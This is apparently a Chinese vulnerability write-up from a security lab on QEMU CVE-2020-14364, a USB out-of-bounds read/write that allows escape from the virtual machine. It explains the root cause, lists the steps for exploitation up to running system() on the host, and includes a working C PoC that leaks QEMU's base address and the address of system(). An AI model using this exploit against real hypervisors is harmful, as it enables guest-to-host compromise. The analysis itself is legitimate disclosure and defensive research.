QEMU CVE-2020-14364 漏洞分析(含 PoC 演示)

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所属分类:安全文章
QEMU CVE-2020-14364 漏洞分析(含 PoC 演示)

QEMU CVE-2020-14364 漏洞分析(含 PoC 演示)

    奇安信代码安全实验室研究员为Red Hat发现六个漏洞(CVE-2020-14364、CVE-2020-10756、CVE-2020-12829、CVE-2020-14415、CVE-2020-15863和CVE-2020-16092),其中 CVE-2020-14364 被评为具有“重要影响”。研究员第一时间向 Red Hat报告且协助其修复漏洞。本文分析的是 CVE-2020-14364,希望给大家带来一些启发。

QEMU CVE-2020-14364 漏洞分析(含 PoC 演示)

作者

奇安信代码安全实验室研究员张子明



01
漏洞分析

    QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化开源托管虚拟机(VMM)。

    QEMU的USB后端实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。



02
漏洞成因

    USB总线通过创建一个USBpacket对象来和USB设备通信。

    Usbpacket对象中包含以下关键内容。

struct USBPacket {

    /* Data fields for use by the driver.  */

    int pid;

    uint64_t id;

    USBEndpoint *ep;

    ....

};

    其中pid表明packet的类型,存在三种类型in、out、setup, ep指向endpoint对象,通过此结构定位目标usb设备。

    数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制。

case SETUP_STATE_DATA:

        if (s->setup_buf[0] & USB_DIR_IN) {

            int len = s->setup_len - s->setup_index;

            if (len > p->iov.size) {

                len = p->iov.size;

            }

            usb_packet_copy(ps->data_buf + s->setup_indexlen);

            s->setup_index += len;

            if (s->setup_index >= s->setup_len) {

                s->setup_state = SETUP_STATE_ACK;



            }

            return;

        }

    漏洞存在于s->setup_len赋值的过程do_token_setup中。

s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];

    if (s->setup_len > sizeof(s->data_buf)) {

        fprintf(stderr,

                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)n",

                s->setup_lensizeof(s->data_buf));

        p->status = USB_RET_STALL;

        return;

    }

    虽然进行了校验,但是由于在校验前,s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞。



03
漏洞利用

1. 泄露USBdevice对象的地址。

观察越界可读内容发现

struct USBDevice {

    ...

    uint8_t setup_buf[8];

    uint8_t data_buf[4096];

    int32_t remote_wakeup;

    int32_t setup_state;

    int32_t setup_len;

    int32_t setup_index;

    USBEndpoint ep_ctl;

    USBEndpoint ep_in[USB_MAX_ENDPOINTS];

    USBEndpoint ep_out[USB_MAX_ENDPOINTS];

    QLIST_HEAD(, USBDescStringstrings;

    const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */

    const USBDescDevice *device;

...};

可以从下方的ep_ctl->dev获取到usbdevice的对象地址。


2. 通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。


3. 我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。 由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。

绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。


4. 通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。 该地址位于程序data节区。 这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。


5. 在data_buf中伪造irq结构。


6. 以伪造结构劫持ehcistate中的irq对象。


7. 通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。 完成利用。



04
漏洞Poc代码

#include <assert.h>

#include <fcntl.h>

#include <inttypes.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/types.h>

#include <unistd.h>

#include <sys/io.h>

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <errno.h> 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <stdbool.h>

#include <netinet/in.h> 

unsigned char* mmio_mem;

char *dmabuf;

struct ohci_hcca * hcca;

struct EHCIqtd * qtd;

struct ohci_ed * ed;

struct ohci_td * td;

char *setup_buf;

uint32_t *dmabuf32;

char *td_addr;

struct EHCIqh * qh;

struct ohci_td * td_1;

char *dmabuf_phys_addr;

typedef struct USBDevice USBDevice;

typedef struct USBEndpoint USBEndpoint;

struct USBEndpoint {

    uint8_t nr;

    uint8_t pid;

    uint8_t type;

    uint8_t ifnum;

    int max_packet_size;

    int max_streams;

    bool pipeline;

    bool halted;

    USBDevice *dev;

    USBEndpoint *fd;

    USBEndpoint *bk;

};

 

struct USBDevice {

    int32_t remote_wakeup;

    int32_t setup_state;

    int32_t setup_len;

    int32_t setup_index;

 

    USBEndpoint ep_ctl;

    USBEndpoint ep_in[15];

    USBEndpoint ep_out[15];

};

 

 

typedef struct EHCIqh {

    uint32_t next;                    /* Standard next linkpointer */

 

    /* endpoint characteristics */

    uint32_t epchar;

 

    /* endpoint capabilities */

    uint32_t epcap;

 

    uint32_t current_qtd;             /* Standard next link pointer */

    uint32_t next_qtd;                /* Standard next link pointer*/

    uint32_t altnext_qtd;

 

    uint32_t token;                   /* Same as QTD token */

    uint32_t bufptr[5];               /* Standard buffer pointer */

 

} EHCIqh;

typedef struct EHCIqtd {

    uint32_t next;                    /* Standard next linkpointer */

    uint32_t altnext;                 /* Standard next link pointer*/

    uint32_t token;

 

    uint32_t bufptr[5];               /* Standard buffer pointer */

 

} EHCIqtd;

uint64_t virt2phys(void* p)

{

    uint64_t virt = (uint64_t)p;

    

    // Assert page alignment

 

    int fd =open("/proc/self/pagemap", O_RDONLY);

    if (fd == -1)

        die("open");

    uint64_t offset = (virt /0x1000) * 8;

    lseek(fd, offset, SEEK_SET);

    

    uint64_t phys;

    if (read(fd, &phys, 8 ) !=8)

        die("read");

    // Assert page present

    

 

    phys = (phys & ((1ULL<< 54) - 1)) * 0x1000+(virt&0xfff);

    return phys;

}

 

void die(const char* msg)

{

    perror(msg);

    exit(-1);

}

 

void mmio_write(uint32_t addr, uint32_t value)

{

    *((uint32_t*)(mmio_mem + addr))= value;

}

 

uint64_t mmio_read(uint32_t addr)

{

    return *((uint64_t*)(mmio_mem +addr));

}

void init(){

 

int mmio_fd =open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR |O_SYNC);

    if (mmio_fd == -1)

        die("mmio_fd openfailed");

 

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,0);

    if (mmio_mem == MAP_FAILED)

        die("mmap mmio_memfailed");

 

 

dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED |MAP_ANONYMOUS, -1, 0);

    if (dmabuf == MAP_FAILED)

        die("mmap");

    mlock(dmabuf, 0x3000);

hcca=dmabuf;

dmabuf32=dmabuf+4;

qtd=dmabuf+0x200;

qh=dmabuf+0x100;

setup_buf=dmabuf+0x300;

 

}

void init_state(){

mmio_write(0x64,0x100);

mmio_write(0x64,0x4);

qh->epchar=0x00;

qh->token=1<<7;

qh->current_qtd=virt2phys(dmabuf+0x200);

struct EHCIqtd * qtd;

qtd=dmabuf+0x200;

qtd->token=1<<7 | 2<<8 | 8<<16;

qtd->bufptr[0]=virt2phys(dmabuf+0x300);

setup_buf[6]=0xff;

setup_buf[7]=0x0;

dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;

mmio_write(0x28,0x0);

mmio_write(0x30,0x0);

mmio_write(0x38,virt2phys(dmabuf));

mmio_write(0x34,virt2phys(dmabuf));

mmio_write(0x20,0x11);

}

void set_length(uint16_t len,uint8_t in){

mmio_write(0x64,0x100);

mmio_write(0x64,0x4);

setup_buf[0]=in;

setup_buf[6]=len&0xff;

setup_buf[7]=(len>>8)&0xff;

qh->epchar=0x00;

qh->token=1<<7;

qh->current_qtd=virt2phys(dmabuf+0x200);

 

 

qtd->token=1<<7 | 2<<8 | 8<<16;

qtd->bufptr[0]=virt2phys(dmabuf+0x300);

dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;

mmio_write(0x28,0x0);

mmio_write(0x30,0x0);

mmio_write(0x38,virt2phys(dmabuf));

mmio_write(0x34,virt2phys(dmabuf));

mmio_write(0x20,0x11);

}

void do_copy_read(){

mmio_write(0x64,0x100);

mmio_write(0x64,0x4);

 

qh->epchar=0x00;

qh->token=1<<7;

qh->current_qtd=virt2phys(dmabuf+0x200);

qtd->token=1<<7 | 1<<8 | 0x1f00<<16;

qtd->bufptr[0]=virt2phys(dmabuf+0x1000);

qtd->bufptr[1]=virt2phys(dmabuf+0x2000);

dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;

mmio_write(0x28,0x0);

mmio_write(0x30,0x0);

mmio_write(0x38,virt2phys(dmabuf));

mmio_write(0x34,virt2phys(dmabuf));

mmio_write(0x20,0x11);

 

}

int main()

{

 

init();

 

iopl(3);

outw(0,0xc0c0);

outw(0,0xc0e0);

outw(0,0xc010);

outw(0,0xc0a0);

sleep(3);

init_state();

sleep(2);

set_length(0x2000,0x80);

sleep(2);

do_copy_read();

sleep(2);

struct USBDevice* usb_device_tmp=dmabuf+0x2004;

struct USBDevice usb_device;

memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

 

uint64_t dev_addr=usb_device.ep_ctl.dev;

 

 

 

uint64_t *tmp=dmabuf+0x24f4;

long long base=*tmp;

if(base == 0){

printf("INIT DOWN,DO IT AGAIN");

return 0;

}

 

base-=0xee5480-0x2668c0;

uint64_t system=base+0x2d9610;

puts("\\\\\\\\\\\\");

 

printf("LEAK BASE ADDRESS:%llx!n",base);

printf("LEAK SYSTEM ADDRESS:%llx!n",system);

puts("\\\\\\\\\\\\");

}



05
PoC演示视频



QEMU CVE-2020-14364 漏洞分析(含 PoC 演示)
END

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